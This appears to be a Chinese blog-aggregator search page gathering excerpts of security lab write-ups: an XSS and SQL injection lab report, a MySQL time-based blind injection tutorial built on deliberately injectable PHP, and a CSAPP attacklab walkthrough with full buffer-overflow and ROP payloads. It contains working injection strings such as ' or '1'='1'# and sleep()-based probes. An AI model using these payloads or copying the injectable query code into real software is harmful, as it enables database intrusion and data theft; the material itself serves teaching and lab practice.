精华内容
下载资源
问答
  • XSS跨站脚本攻击以及SQL注入攻击实验报告 XSS跨站脚本攻击 学号/工号查询 输入正确的信息后,我们会得到正确的输出结果。如果输入的名字在数据库中不存在,则无法查询到结果。 XSS跨站脚本攻击 根据判断,我们可以...

    XSS跨站脚本攻击以及SQL注入攻击实验报告

    XSS跨站脚本攻击

    学号/工号查询

    输入正确的信息后,我们会得到正确的输出结果。如果输入的名字在数据库中不存在,则无法查询到结果。
    在这里插入图片描述

    XSS跨站脚本攻击

    根据判断,我们可以用一段JavaScript语言写的代码“”或者“

    SQL注入攻击

    学号查询功能的SQL注入攻击

    我们先查看一下query.php程序代码
    在这里插入图片描述
    发现其19行,33行,47行查询语句是一样的,形式为

    $query=”select id from admins where name=’’’.$name.’’’’’’
    

    其中,$name是用户输入的字符串,如果输入内容为’or’1’=’1’#,那么该SQL语句变成了无条件查询语句。效果如下
    在这里插入图片描述
    造成这样情况的原因在于代码执行条件发生了变化,只要’1’=’1’就可以运行,而我们知道’1’=’1’的值为真,所以成为了无条件查询语句,会把所有结果都输出。此处要注意原代码的单双引号闭合问题。在有了代码后,我们可以针对引号数量不同,改写我们的字符串,但是在实际中,要进行尝试。

    用户登录的SQL注入攻击

    我们先查看login.php的程序代码
    在这里插入图片描述
    在第39行其查询用户名和密码的SQL语句为

    $query="selsect * from".$t_name."where (id='".$id."')"."and(pass='".$pass."')";
    

    我们是在$id处输入用户名。
    当我们输入’or’1’=‘1’); 时,就会显示用户信息。
    实现效果如下
    在这里插入图片描述
    在这里插入图片描述
    此时输入的括号是为了和之前的匹配。

    展开全文
  • 2 实验过程 本文采用的是《Web安全攻防渗透测试实战指南》提供的代码及数据库。 1 环境介绍 time.php <?php $con=mysqli_connect("localhost","root","qwer","security"); // 检测连接 if (mysqli_connect_...

    目录

    1 环境介绍

    2 实验过程


    本文采用的是《Web安全攻防渗透测试实战指南》提供的代码及数据库。

    1 环境介绍

    time.php

    <?php
    $con=mysqli_connect("localhost","root","qwer","security");
    // 检测连接
    if (mysqli_connect_errno())
    {
    	echo "连接失败: " . mysqli_connect_error();
    }
    
    $id = $_GET['id'];
    
    if (preg_match("/union/i", $id)) {
    	exit("<htm><body>no</body></html>");
    }
    
    $result = mysqli_query($con,"select * from users where `id`='".$id."'");
    
    $row = mysqli_fetch_array($result);
    
    if ($row) {
    	exit("<htm><body>yes</body></html>");
    }else{
    	exit("<htm><body>no</body></html>");
    }
    
    
    ?>

    在时间注意注入页面中,程序获取GET参数ID,通过preg_ match判断参数ID中是否存在Union危险字符,然后将参数ID拼接到SQL语句中。从数据库中查询SQL语句,如果有结果,则返回yes,否则返回no。当访问该页面时,代码根据数据库查询结果返回yes或no,而不返回数据库中的任何数据,所以页面上只会显示yes或no,和Boolean注入不同的是,此处没有过滤sleep等字符,代码如上所示。

    此处仍然可以用Boolean盲注或其他注入方法,下面用时间注入演示。当访问

    id=1' and if (ord(substring(user(),1,1))=114,sleep(3),1)%23

    时,执行的SQL语句为:

    select * from users where `id`='1' and if (ord(substring(user(),1,1))=114,sleep(3),1) %23

    由于user () 为root,root第一个字符  'r'  的ASCII值是114,所以SQL语句中if条件成立,执行sleep (3) ,页面会延迟3s,通过这种延迟即可判断SQL语句的执行结果。

    数据表

    2 实验过程

    Burp Suite抓本地包教程:https://www.cnblogs.com/coderge/p/13684438.html

    时间注入攻击的测试地址: http://192.168.1.101/four/4.2.2/time.php?id=1

    访问该网址时,页面返回yes,在网址的后面加上一个单引号, 再次访问,页面返回no。这个结果与Boolean注入非常相似,本小节将介绍遇到这种情况时的另外一种注入方法——时间盲注。它与Boolean注入的不同之处在于,时间注入是利用sleep ()或benchmark ()等函数让MySQL的执行时间变长。时间盲注多与IF(expr1, expr2, expr3) 结合使用,此if语句含义是:如果expr1是TRUE,则IF ()的返回值为expr2;否则返回值则为expr3。所以判断数据库库名长度的语句应为:

    if (length(database())>1,sleep(5),1)--+

    上面这行语句的意思是,如果数据库库名的长度大于1,则MySQL查询休眠5秒,否则查询1。
    而查询1的结果,大约只有几十毫秒,根据Burp Suite中页面的响应时间,可以判断条件是否正确,结果如图所示。


    可以看出,页面的响应时间是5036毫秒,也就是5.036秒, 表明页面成功执行了sleep (5),所以长度是大于1的


    我们尝试将判断数据库库名长度语句中的长度改为10,结果如下图所示。

    可以看出,执行的时间是0.002秒,表明页面没有执行sleep (5),而是执行了select 1,所以数据库的库名长度大于10是错误的。通过多次测试,就可以得到数据库库名的长度。得出数据库库名长度后,我们开始查询数据库库名的第一位字母。查询语句跟Boolean盲注的类似,使用substr函数, 这时的语句应修改为:

    if (substr(database(),1,1) ='s', sleep(5),1)

    结果如图所示。

    可以看出,程序延迟了5秒才返回,说明数据库库名的第一位字母是s, 依此类推即可得出完整的数据库的库名、表名、字段名和具体数据。

    展开全文
  • attacklab 实验报告 Ctarget level1 题目给出函数test,test里面有函数getbuf,然后它给定的提权函数是touch1(),我们那我们先gdb ctarget进入调试,然后输入disassemble getbuf查看汇编代码。 可以很清楚的看到...

    attacklab 实验报告

    Ctarget

    level1

    题目给出函数testtest里面有函数getbuf,然后它给定的提权函数是touch1(),我们那我们先gdb ctarget进入调试,然后输入disassemble getbuf查看汇编代码。

    attacklab_Ctarget_level1_1.png

    可以很清楚的看到函数的缓冲区大小是0x28字节,然后gets已经说明是库的标准函数了,gets函数是有漏洞的,它在读入字符串的时候不会对长度检测,而是给多少读多少。那么我们可以用这个gets来实现栈溢出,执行我们的权限函数touch1(),我们可以先用00字节填充40个字节,然后再加上shell函数的地址。注意前面可以用除了0a的任意字节填充,因为0a代表’\n’的意思,gets函数一旦读到这个字符就会认为字符串读取结束了。我们用print touch1去查看该函数的地址。

    attacklab_ctarget_level1_2.png

    发现了提权函数的地址之后我们就可以构造payload了。我们先q退出gdb,然后这里先创建一个文本文件vim attack1.txt 然后填充

    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00
    c0 17 40
    

    注意,地址在计算机里是小端序存储。也就是高地址存储高位字节,然后我们构造的payload是往栈底方向填充的,而栈又是向低地址增长的,因此如此反转过后我们的函数地址要按字节倒着填充。然后根据字节生成字符串文件。

    运行题目给的hex2raw文件,./hex2raw <source file> target file命令去生成目标文件。然后再./ctarget -q -i target file这里我生成的文件名叫attackraw1.txt,然后终端输入运行命令,发现攻击成功了。

    attacklab_ctarget_level1_3.png

    level2

    这个需要攻击执行的函数名为touch2(),这个栈溢出的漏洞依然可以利用。但是print touch2之后你就会发现,touch2touch1多了一个参数。故技重施之后发现:

    attacklab_ctarget_level2_1.png

    虽然我们成功执行了touch2()函数,但是还是失败了,发现touch2()事实上那个参数是用来检测是否与cookie匹配的,而cookie的值已经告诉你了。在32位的程序里面,我们可以往返回地址后面写上cookie作为参数,但是64位程序前6个参数采用寄存器传参,那么要成功攻击就必须修改rdi寄存器的值为cookie。因为我们直接在返回位置覆盖函数地址,跟普通调用的区别就少了参数的传递,所以rdi的值至少在执行getbuf函数的时候不会看遍,这里有40字节大小的栈空间,那么我们就可以往栈中注入代码,代码应该是

    movq $0x59b997fa,%rdi
    
    call $touch2
    

    call命令的操作数是根据rip偏移来的,那确定不了这个偏移,就没办法准确的call到这个touch2()函数,那么换一个思路:先往栈上堆返回地址,再返回ret弹出返回,那么我们在往栈上注入代码就是:

    movq $0x59b997fa,%rdi
    pushq $0x4017ec
    retq
    

    就完成了,再加上填充字节总共40字节再在末尾返回栈地址就可以直接执行刚刚注入的代码了。我们接下来就要确定栈的地址了。gdb ctarget然后在getbuf这里下断点.r -q运行到sub rsp,0x28这一步我们观察栈指针的位置

    attacklab_ctarget_level2_2.png

    那么我们可以在返回地址的位置指向栈中我们堆的代码的位置,让它执行这些指令,以此达到传参且执行函数的目的。依然要注意小端问题。接下来我们只需要解决一个问题:如何把汇编代码转换为字节码?

    vim 1.s,填入汇编代码,然后gcc -c 1.s -o 1.o汇编之后,再objdump -d 1.o反汇编就可以查看汇编代码的字节码了。

    attacklab_ctarget_level2_4.png

    易得payload:

    48 c7 c7 fa 97 b9 59 68
    ec 17 40 00 c3 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    78 dc 61 55
    

    可以看到,攻击成功了。

    attacklab_ctarget_level2_3.png

    level3

    这里的提权函数是touch3writeup中已经给了我们函数的语句(Ps:我做到这里才知道writeup是说明的意思qwq)。

    attacklab_Ctarget_level3_1.png

    要求hexmatch函数返回true,这次攻击才能成功,题目也给了我们这个函数的语句。

    int __fastcall hexmatch(unsigned int val, char *sval)
    {
      const char *v2; // rbx
      char cbuf[110]; // [rsp+0h] [rbp-98h] BYREF
      unsigned __int64 v5; // [rsp+78h] [rbp-20h]
      v5 = __readfsqword(0x28u);
      v2 = &cbuf[random() % 100];
      __sprintf_chk(v2, 1LL, -1LL, "%.8x", val);
      return strncmp(sval, v2, 9uLL) == 0;
    }
    

    这个函数两个输入,一个就是val,那么实参就是cookie的值,已经确定了改不了了,sval参数是touch3()原参数给的,因此我们在call touch3的时候给rdi传的参数就可以是hexmatch的第二个参数。中间有一步是徐晃一枪,那就是这个随机函数了,但是接下来有一个sprintf函数,sprintf函数是将格式化字符串输出给s。那么把val8位十六进制数给s的意思就是s="59b997fa",所以s字符串看似随机实则固定的。字符串传参是传字符串首字符的char指针,数值为首字符到’\0’之间的所有字符(大端序)。那么我们构造的sval字符串的字节码就要应该是:35 39 62 39 39 37 66 61,知道了要构造的字符串之后还要想办法将它作为参数传到rdi里面。我们可以将它保存到栈中的某个位置,因为在调用函数的时候getbuf栈帧的部分可能会因为正常调用hexmatch函数被破坏,所以我们在缓冲区下4个字节填充所需的字符串,就算破坏其它栈帧也没有关系,只要能执行就ok。那么很容易构造payload:在这里要注入的代码跟原来差不多,只是参数要变成cookie字符串的首地址。

    48 c7 c7 a8 dc 61 55 68 
    fa 18 40 00 c3 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    78 dc 61 55 00 00 00 00 
    35 39 62 39 39 37 66 61 
    00
    

    注意最后一位要00 填充,因为字符串是要到00才结束的,如果不是那么就会一直进行下去。

    rtarget

    level2

    这个官方的writeup已经明确说了,栈只读,因此得采取rop的方式取攻击执行touch2()

    我们使用objdump -d rtarget去查看代码碎片看看哪里可以利用。首先我们想的应该是,movq $0x59b997fa,%rdi

    pushq $0x4017ec
    retq
    

    但是发现你根本找不到movq $0x59b997fa,%rdi,所以这个方法略掉。

    那还有plan B:在栈上rsp里面装入那个数然后popq弹到rdi里面就好了,那么我们想的就是,

    popq %rdi
    pushq $0x4017ec
    retq
    

    我们搜索一下popq %rdi的字节码5f,发现0x40233a有一个5f的

    那就很容易构造payload

    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    3a 23 40 00 00 00 00 00
    fa 97 b9 59 00 00 00 00
    ec 17 40 00 00 00 00 00
    

    attacklab_rtarget_level2_1.png

    事实上这里我是没有攻击成功的,我觉得从逻辑上来讲是没有任何问题的,有大佬看到蒟蒻的小错误恳请帮忙指正。那么正确的做法是先把它pop到rax寄存器里面,然后执行movq %rax,%rdi然后再ret touch3()???到底有啥区别嘛,还是搞不懂。。

    那么代码就是:

    popq %rax
    movq %rax,%rdi
    ret
    

    构造出来的payload就是

    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    ab 19 40 00 00 00 00 00
    fa 97 b9 59 00 00 00 00
    a2 19 40 00 00 00 00 00
    ec 17 40 00 00 00 00 00
    

    这个应该不难,但是我还是想知道我的哪里有问题!!!

    level3

    首先想想我们要干嘛?构造在一个特殊的地方构造字符串然后把字符串字符首地址传给rdi就能直接攻击成功。开启了栈只读和地址随机化,那么我们还是只能通过栈去溢出,肯定是要先把字符串写在后面,中间全是gadget。然后通过确定rsp的值以及我们已构造的gadget,我们就可以很轻松地获得字符串地址。

    那么我们需要的汇编代码就是

    //movq %rsp,%rdi
    movq %rsp,%raxa
    movq %rax,%rdi
    add $offset,%rdi
    ret
    

    这里主要是add这条指令,别问我为什么刚才的思路打断了,都是上面那个level2搞得,就佛系一点把,先把它传给rax再给rdi也一样的,即使我不知道一步到位为什么不行。接下来是寻找gadget了。其它的都能很好找到,唯独add这条指令不好搞,但是我们可以大致看一下规律。

    attacklab_rtarget_level3_1.png

    我们可以很清晰地发现,add $xxx,%rdi的一般规律就是 48 83 c7 然后后面一个字节确定立即数的大小那么就去搜索一下48 83 c7,但是很快就会发现,搜不到这个gadget。那么换一种思路,既然我们先传给了rax那我们可以先让rax加上那个值啊。说干就干,汇编再反之后得到字节码48 05 00发现还是找不到,一筹莫展之际,你突然想到,可以利用寄存器的低位,他们的操作码也有很大区别的,比如rax的低32位是eax,低16位是ax,低8位是al,我们一个个找过去发现add al有一个。04 37 这刚好是al+0x37的gadget。

    attacklab_rtarget_level3_2.png

    这个大小也是非常合适的,在尽量保证能够全覆盖的情况下保证payload越小越好,大了容易出事。

    那么如此我们就只到我们重新堆的代码结构了

    movq %rsp,%rax
    add $0x37,al
    movq %rax,%rdi
    ret
    
    cookies
    
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    06 1a 40 00 00 00 00 00// movq %rsp,%rax
    d8 19 40 00 00 00 00 00// add $0x37,al
    c5 19 40 00 00 00 00 00// movq %rax,%rdi
    fa 18 40 00 00 00 00 00//touch3
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 35//cookie
    39 62 39 39 37 66 61 00
    

    然后完结撒花啦!!

    第一次能自己写完csapp的lab,虽然难,但是收获颇丰,若有不正,恳请指正!!

    展开全文
  • 显示登录成功。 ...步骤1-3:找到low.php文件并修改安全代码。     步骤1-4:用户名 ‘OR1=1 OR ‘1’=’1 密码为空登录,显示登录成功。 步骤1-5:用户名 admin’#密码为空登...

    步骤1:正确密码登录,安全级别改为low,用户名为 admin ,密码为password登录。显示登录成功。

    步骤1-2:正确用户名,错误密码1 登录。显示登录失败。

     

    步骤1-3:找到low.php文件并修改安全代码。

     

     

    步骤1-4:用户名 ‘OR1=1 OR ‘1’=’1  密码为空登录,显示登录成功。

    步骤1-5:用户名 admin’#密码为空登录。登录成功。

    步骤1-6:用户名admin密码‘=’尝试登录,登录成功。

    展开全文
  • 详解php命令注入攻击

    2021-01-20 08:15:59
    命令注入攻击(Command Injection),是指黑客通过利用HTML代码输入机制缺陷(例如缺乏有效验证限制的表格域)来改变网页的动态生成的内容。从而可以使用系统命令操作,实现使用远程数据来构造要执行的命令的操作。 ...
  • SQL注入攻击实战演练

    2021-04-20 19:40:48
    SQL注入攻击的学习,我们更多的目的是为了学习攻击技术和防范策略,而不是刻意去攻击数据库。 首先我们先进入实验地址《SQL 注入》。 SQL注入是一种代码注入技术,过去常常用于攻击数据驱动性的应用,实质就是将恶意...
  • php命令注入攻击

    千次阅读 2019-04-01 19:25:55
    这次实验内容为了解php命令注入攻击的过程,掌握思路。 命令注入攻击 命令注入攻击(Command Injection),是指黑客通过利用HTML代码输入机制缺陷(例如缺乏有效验证限制的表格域)来改变网页的动态生成的内容。从而...
  • 1 cookie注入代码分析 2 实验过程 1 cookie注入代码分析 通过$_COOKIE能获取浏览器cookie中的数据,在cookie注 入页面中程序通过$_COOKIE获取参数ID,然后直接将ID拼接到select语句中进行查询,如果有结果,则将...
  • 侧面攻击-实验数据包注入和检测 所需的包 网络面Kong 船头 $ pip安装netifaces scapy 源代码(用python编写) quantuminject.py ...进样口 Quantumdetect.py ... MotS检测器 util.py ...常用功能 README.md ...此...
  • 2 实验过程 本文采用的是《Web安全攻防渗透测试实战指南》提供的代码及数据库。 1 环境介绍 在报销注入页面中,程序获取GET参数username后,将username拼接到SQL语句中,然后到数据库查询。如果执行成功,就输出...
  • 前言这是CSAPP官网上的著名实验,通过注入汇编代码实现堆栈溢出攻击实验材料可到我的github仓库 https://github.com/Cheukyin/C... 下载linux默认开启ASLR,每次加载程序,变量地址都会不一样,所以若要关闭ASLR:...
  • 20145332卢鑫 拓展:注入shellcode实验 shellcode基础知识 Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击...
  • 1.从防止注入的角度来看:在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。 2.GCC中的编译器有堆栈保护技术(结合CPU的页面管理机制,通过DEP/...
  • 针对Cisco IOS映像注入攻击提出了一种基于虚拟化的恶意代码分析方法。通过虚拟化技术的研究, 设计实现了虚拟化分析平台CDAP(Cisco dynamic analysis platform), 为IOS系统提供了运行环境, 在此基础上, 采用指令信息...
  • Collabtive系统XSS攻击实验

    千次阅读 2015-07-29 21:01:43
    Collabtive系统XSS攻击实验实验简介跨站点脚本(XSS)是一种常见较弱的web应用程序漏洞,攻击者使用这个漏洞注入恶意代码(例如JavaScript)来攻击受害者的web浏览器。 使用恶意代码,攻击者可以轻松窃取受害者的凭证,...
  • SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对...
  • SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对...
  • 近日在加州举行的移动安全技术大会上,... ICSA实验室的移动安全专家Jack Walsh指出,恶意代码可以偷偷窃取受害者的敏感信息并发送给攻击者,这针对HTML5的恶意代码还能偶像蠕虫一样传播,自动向受害者的联系人发...
  • 作者:Alpha 天融信阿尔法实验室 0x00 前言 Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台,用于构建像“社交网络”这样的...ML被发现存在一处远程代码执行漏洞,攻击者通过在请...
  • 这是CSAPP官网上的著名实验,通过注入汇编代码实现堆栈溢出攻击实验材料可到我的github仓库 https://github.com/Cheukyin/C... 下载 linux默认开启ASLR,每次加载程序,变量地址都会不一样,所以若要关闭ASLR:...
  • 实验三 XSS与SQL注入

    2020-12-14 22:43:09
    攻击者:Kali(使用beEF生成恶意代码,并通过留言方式提交到留言簿网站); 被攻击者:访问留言簿网站,浏览器被劫持。 实验目的:了解什么是XSS;了解XSS攻击实施,理解防御XSS攻击的方法;了解SQL注入的基本原理;...
  • xss攻击和sq注入

    2019-09-16 11:05:11
    xss攻击跟SQL注入的原理还是挺简单的,都是利用web是使用字符串进行操作的原理,通过伪造分隔符或者结束符号,来让网页或者服务端来运行输入的代码 一般防御的方法就是在对一些分隔符进行转义,django里面默认有...

空空如也

空空如也

1 2 3 4 5 ... 9
收藏数 173
精华内容 69
关键字:

代码注入攻击实验